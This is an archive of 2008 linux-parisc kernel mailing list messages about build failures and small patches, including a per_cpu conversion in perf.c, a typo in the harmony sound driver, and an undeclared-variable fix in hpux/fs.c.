X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] Change cpu_data[] and cpu_devices[] from array sized
 by NR_CPUS to per_cpu variables
Date: Wed, 27 Aug 2008 22:42:39 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <48B5BC3F.5080604@gmx.de>
References: <200808242026.06295.deller@gmx.de> <200808242121.49849.deller@gmx.de> <48B1D185.4060805@gmx.de> <20080827045110.GA30954@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219869784 22501 80.91.229.12 (27 Aug 2008 20:43:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Aug 2008 20:43:04 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 27 22:43:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYRrm-0005VV-Ky
	for glpp-linux-parisc@gmane.org; Wed, 27 Aug 2008 22:43:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752862AbYH0Ump (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Aug 2008 16:42:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752884AbYH0Ump
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 Aug 2008 16:42:45 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:40206 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752862AbYH0Ump (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Aug 2008 16:42:45 -0400
Original-Received: (qmail invoked by alias); 27 Aug 2008 20:42:43 -0000
Original-Received: from mnhm-590f6f04.pool.einsundeins.de (EHLO halden.box) [89.15.111.4]
  by mail.gmx.net (mp064) with SMTP; 27 Aug 2008 22:42:43 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX196Mvg4Pnd68g1BV+2QLbeVL4EbB/+I1vmcCYjKuf
	1yOKn8i1UDPsE9
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080827045110.GA30954@colo.lackof.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:687
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/687>

Grant Grundler wrote:
> On Sun, Aug 24, 2008 at 11:24:21PM +0200, Helge Deller wrote:
>> Updated patch attached, which fixes some build problems and section 
>> mismatches.
>> Boot-tested on a UP 32bit machine with CONFIG_SMP=y.
> 
> Fixed this build failure (64-bit):
>   CC      arch/parisc/kernel/perf.o
> arch/parisc/kernel/perf.c: In function 'perf_init':
> arch/parisc/kernel/perf.c:544: error: 'cpu_data' undeclared (first use in this function)
> arch/parisc/kernel/perf.c:544: error: (Each undeclared identifier is reported only once
> arch/parisc/kernel/perf.c:544: error: for each function it appears in.)
> make[1]: *** [arch/parisc/kernel/perf.o] Error 1
> 
> Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

Thanks!

Acked-by: Helge Deller <deller@gmx.de>


> diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
> index f696f57..c661db7 100644
> --- a/arch/parisc/kernel/perf.c
> +++ b/arch/parisc/kernel/perf.c
> @@ -55,6 +55,7 @@
>  #include <asm/processor.h>
>  #include <asm/runway.h>
>  #include <asm/io.h>		/* for __raw_read() */
> +#include <asm/percpu.h>
>  
>  #include "perf_images.h"
>  
> @@ -541,9 +542,9 @@ static int __init perf_init(void)
>  	spin_lock_init(&perf_lock);
>  
>  	/* TODO: this only lets us access the first cpu.. what to do for SMP? */
> -	cpu_device = cpu_data[0].dev;
> +	cpu_device = per_cpu(cpu_data, 0).dev;
>  	printk("Performance monitoring counters enabled for %s\n",
> -		cpu_data[0].dev->name);
> +		cpu_device->name);
>  
>  	return 0;
>  }
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.lsm
Subject: Re: [PATCH 03/59] CRED: Wrap task credential accesses in the
	PA-RISC arch
Date: Wed, 27 Aug 2008 18:19:24 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <20080827221924.GA6298@phobos.i.cabal.ca>
References: <20080827134541.19980.61042.stgit@warthog.procyon.org.uk> <20080827134557.19980.40787.stgit@warthog.procyon.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219875581 9989 80.91.229.12 (27 Aug 2008 22:19:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Aug 2008 22:19:41 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-security-module@vger.kernel.org,
	Serge Hallyn <serue@us.ibm.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 28 00:20:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYTNR-0003SP-4z
	for glpp-linux-parisc@gmane.org; Thu, 28 Aug 2008 00:20:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753416AbYH0WT0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Aug 2008 18:19:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753498AbYH0WT0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 Aug 2008 18:19:26 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:37335 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753416AbYH0WTZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Aug 2008 18:19:25 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 308D9178060; Wed, 27 Aug 2008 18:19:24 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080827134557.19980.40787.stgit@warthog.procyon.org.uk>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:688 gmane.linux.kernel:726931 gmane.linux.kernel.lsm:7230
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/688>

On Wed, Aug 27, 2008 at 02:45:57PM +0100, David Howells wrote:
> Wrap access to task credentials so that they can be separated more easily from
> the task_struct during the introduction of COW creds.
> 
> Change most current->(|e|s|fs)[ug]id to current_(|e|s|fs)[ug]id().
> 
> Change some task->e?[ug]id to task_e?[ug]id().  In some places it makes more
> sense to use RCU directly rather than a convenient wrapper; these will be
> addressed by later patches.
> 

OK.

Feel free to push this with the rest of them, if you haven't already,
with my blessing.

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: linux-next: parisc tree build failure
Date: Thu, 28 Aug 2008 11:58:20 +1000
Lines: 34
Approved: news@gmane.org
Message-ID: <20080828115820.d2e4f55b.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Thu__28_Aug_2008_11_58_20_+1000_SVqVYf0IRTHmToor"
X-Trace: ger.gmane.org 1219888741 10624 80.91.229.12 (28 Aug 2008 01:59:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Aug 2008 01:59:01 +0000 (UTC)
Cc: linux-next@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 28 03:59:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYWnh-0007Ro-Tu
	for glpp-linux-parisc@gmane.org; Thu, 28 Aug 2008 03:59:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753635AbYH1B63 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Aug 2008 21:58:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753749AbYH1B63
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 27 Aug 2008 21:58:29 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:42215 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753742AbYH1B62 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Aug 2008 21:58:28 -0400
Original-Received: from ash.ozlabs.ibm.com (bh02i525f01.au.ibm.com [202.81.18.30])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id DE7DC368002;
	Thu, 28 Aug 2008 11:58:26 +1000 (EST)
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:689 gmane.linux.kernel.next:2637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/689>

--Signature=_Thu__28_Aug_2008_11_58_20_+1000_SVqVYf0IRTHmToor
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Kyle,

A parisc defconfig build of linux-next (next-20080827) fails like this:

sound/parisc/harmony.c:872: error: 'reutrn' undeclared (first use in this f=
unction)

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Thu__28_Aug_2008_11_58_20_+1000_SVqVYf0IRTHmToor
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAki2BjwACgkQjjKRsyhoI8z+5QCgqLd5poZVufkcv4e5r6Fwigx8
7eIAmwcKp9BDwKYxvX+8ym2Q7gVnPalM
=H3BS
-----END PGP SIGNATURE-----

--Signature=_Thu__28_Aug_2008_11_58_20_+1000_SVqVYf0IRTHmToor--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: parisc tree build failure
Date: Thu, 28 Aug 2008 10:33:19 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20080828143319.GD6298@phobos.i.cabal.ca>
References: <20080828115820.d2e4f55b.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219934206 30582 80.91.229.12 (28 Aug 2008 14:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Aug 2008 14:36:46 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	linux-next@vger.kernel.org
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 28 16:37:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KYiZq-0001pZ-76
	for glpp-linux-parisc@gmane.org; Thu, 28 Aug 2008 16:34:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752519AbYH1OdV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Aug 2008 10:33:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752777AbYH1OdV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 28 Aug 2008 10:33:21 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:32936 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752519AbYH1OdU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Aug 2008 10:33:20 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 8338317805E; Thu, 28 Aug 2008 10:33:19 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20080828115820.d2e4f55b.sfr@canb.auug.org.au>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:690 gmane.linux.kernel.next:2641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/690>

On Thu, Aug 28, 2008 at 11:58:20AM +1000, Stephen Rothwell wrote:
> Hi Kyle,
> 
> A parisc defconfig build of linux-next (next-20080827) fails like this:
> 
> sound/parisc/harmony.c:872: error: 'reutrn' undeclared (first use in this function)
> 

You're looking the wrong way... we didn't touch this code...

r, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael J. Wysocki" <rjw@sisk.pl>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Re: Linux 2.6.27-rc5
Date: Sat, 30 Aug 2008 22:21:42 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <200808302221.43237.rjw@sisk.pl>
References: <alpine.LFD.1.10.0808281555230.3300@nehalem.linux-foundation.org> <g9b7oa$g8l$1@ger.gmane.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220127478 9774 80.91.229.12 (30 Aug 2008 20:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 30 Aug 2008 20:17:58 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Al Viro <viro@zeniv.linux.org.uk>,
	Andrew Morton <akpm@linux-foundation.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 30 22:18:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KZWuF-0003q2-QU
	for glpp-linux-parisc@gmane.org; Sat, 30 Aug 2008 22:18:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752463AbYH3URq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 30 Aug 2008 16:17:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752887AbYH3URq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 30 Aug 2008 16:17:46 -0400
Original-Received: from ogre.sisk.pl ([217.79.144.158]:57784 "EHLO ogre.sisk.pl"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752463AbYH3URp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 30 Aug 2008 16:17:45 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by ogre.sisk.pl (Postfix) with ESMTP id DAC72F5537;
	Sat, 30 Aug 2008 20:44:41 +0200 (CEST)
Original-Received: from ogre.sisk.pl ([127.0.0.1])
 by localhost (ogre.sisk.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
 id 23741-09; Sat, 30 Aug 2008 20:44:35 +0200 (CEST)
Original-Received: from [192.168.100.100] (86-68-N1.aster.pl [85.222.86.68])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by ogre.sisk.pl (Postfix) with ESMTP id 3334AF552F;
	Sat, 30 Aug 2008 20:44:35 +0200 (CEST)
User-Agent: KMail/1.9.9
In-Reply-To: <g9b7oa$g8l$1@ger.gmane.org>
Content-Disposition: inline
X-Virus-Scanned: amavisd-new at ogre.sisk.pl using MkS_Vir for Linux
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:691 gmane.linux.kernel:728079
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/691>

[Adding CCs]

On Saturday, 30 of August 2008, Helge Deller wrote:
> commit da574983de9f9283ba35662c8723627096e160de
> Author: Al Viro <viro@zeniv.linux.org.uk>
> [PATCH] fix hpux_getdents() - Missing checks for -EFAULT, broken handling of
> overflow.
> 
> introduced a build breakage:
>   CC      arch/parisc/hpux/fs.o
> arch/parisc/hpux/fs.c: In function `filldir':
> arch/parisc/hpux/fs.c:107: error: `buffer' undeclared (first use in this
> function)
> make[1]: *** [arch/parisc/hpux/fs.o] Error 1
> 
> 
> This patch fixes it.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> 
> diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c
> index 69ff671..12c04c5 100644
> --- a/arch/parisc/hpux/fs.c
> +++ b/arch/parisc/hpux/fs.c
> @@ -104,7 +104,7 @@ static int filldir(void * __buf, const char * name, int
> namlen, loff_t offset,
>         buf->count -= reclen;
>         return 0;
>  Efault:
> -       buffer->error = -EFAULT;
> +       buf->error = -EFAULT;
>         return -EFAULT;
>  }
>  
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: linux-next: parisc tree build failure
Date: Tue, 2 Sep 2008 03:32:42 +1000
Lines: 49
Approved: news@gmane.org
Message-ID: <20080902033242.bce78fa0.sfr@canb.auug.org.au>
References: <20080828115820.d2e4f55b.sfr@canb.auug.org.au>
	<20080828143319.GD6298@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature";
 micalg="PGP-SHA1";
 boundary="Signature=_Tue__2_Sep_2008_03_32_42_+1000_=bB4y9NGpOU/m=hb"
X-Trace: ger.gmane.org 1220290400 3813 80.91.229.12 (1 Sep 2008 17:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Sep 2008 17:33:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-next@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 01 19:34:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KaDHn-0004V0-Pk
	for glpp-linux-parisc@gmane.org; Mon, 01 Sep 2008 19:33:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751018AbYIARcy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Sep 2008 13:32:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751061AbYIARcy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Sep 2008 13:32:54 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:37853 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750945AbYIARcx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Sep 2008 13:32:53 -0400
Original-Received: from ash.ozlabs.ibm.com (ta-1-1.tip.net.au [203.11.71.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id 5B711368061;
	Tue,  2 Sep 2008 03:32:50 +1000 (EST)
In-Reply-To: <20080828143319.GD6298@phobos.i.cabal.ca>
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:692 gmane.linux.kernel.next:2716
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/692>

--Signature=_Tue__2_Sep_2008_03_32_42_+1000_=bB4y9NGpOU/m=hb
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi Kyle,

On Thu, 28 Aug 2008 10:33:19 -0400 Kyle McMartin <kyle@mcmartin.ca> wrote:
>
> On Thu, Aug 28, 2008 at 11:58:20AM +1000, Stephen Rothwell wrote:
> > Hi Kyle,
> >=20
> > A parisc defconfig build of linux-next (next-20080827) fails like this:
> >=20
> > sound/parisc/harmony.c:872: error: 'reutrn' undeclared (first use in th=
is function)
>=20
> You're looking the wrong way... we didn't touch this code...

Indeed.

Hi Takashi,

The above was introduced by commit
59112f679b3ace91b5b74b965c4f918c5aa095fe ("ALSA: Kill snd_assert() in
other places") in the sound tree.

--=20
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/

--Signature=_Tue__2_Sep_2008_03_32_42_+1000_=bB4y9NGpOU/m=hb
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAki8JzoACgkQjjKRsyhoI8w7egCeKoDiMEZKtp3AcsYqGJYjieHd
BMUAoI7dXnPiZOkI/7rco6qgg1U2otKR
=QqLw
-----END PGP SIGNATURE-----

--Signature=_Tue__2_Sep_2008_03_32_42_+1000_=bB4y9NGpOU/m=hb--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] fix typo in arch/parisc/hpux/fs.c
Date: Tue, 2 Sep 2008 03:43:27 +1000
Lines: 32
Approved: news@gmane.org
Message-ID: <20080902034327.2c66cda5.sfr@canb.auug.org.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220291025 5910 80.91.229.12 (1 Sep 2008 17:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Sep 2008 17:43:45 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	<linux-parisc@vger.kernel.org>
To: Al Viro <viro@zeniv.linux.org.uk>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 01 19:44:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KaDS7-00083k-Ua
	for glpp-linux-parisc@gmane.org; Mon, 01 Sep 2008 19:44:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750912AbYIARne (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Sep 2008 13:43:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751033AbYIARne
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 1 Sep 2008 13:43:34 -0400
Original-Received: from chilli.pcug.org.au ([203.10.76.44]:50615 "EHLO smtps.tip.net.au"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750912AbYIARnd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Sep 2008 13:43:33 -0400
Original-Received: from ash.ozlabs.ibm.com (ta-1-1.tip.net.au [203.11.71.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by smtps.tip.net.au (Postfix) with ESMTP id B9F8F368003;
	Tue,  2 Sep 2008 03:43:31 +1000 (EST)
X-Mailer: Sylpheed 2.5.0 (GTK+ 2.12.11; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:693 gmane.linux.kernel:728639
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/693>

A parisc allmodconfig build produces this:

arch/parisc/hpux/fs.c:107: error: 'buffer' undeclared (first use in this function)

Introduced by commit da574983de9f9283ba35662c8723627096e160de ("[PATCH]
fix hpux_getdents()").

Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>

diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c
index 69ff671..12c04c5 100644
--- a/arch/parisc/hpux/fs.c
+++ b/arch/parisc/hpux/fs.c
@@ -104,7 +104,7 @@ static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
 	buf->count -= reclen;
 	return 0;
 Efault:
-	buffer->error = -EFAULT;
+	buf->error = -EFAULT;
 	return -EFAULT;
 }
 

-- 
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au
http://www.canb.auug.org.au/~sfr/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
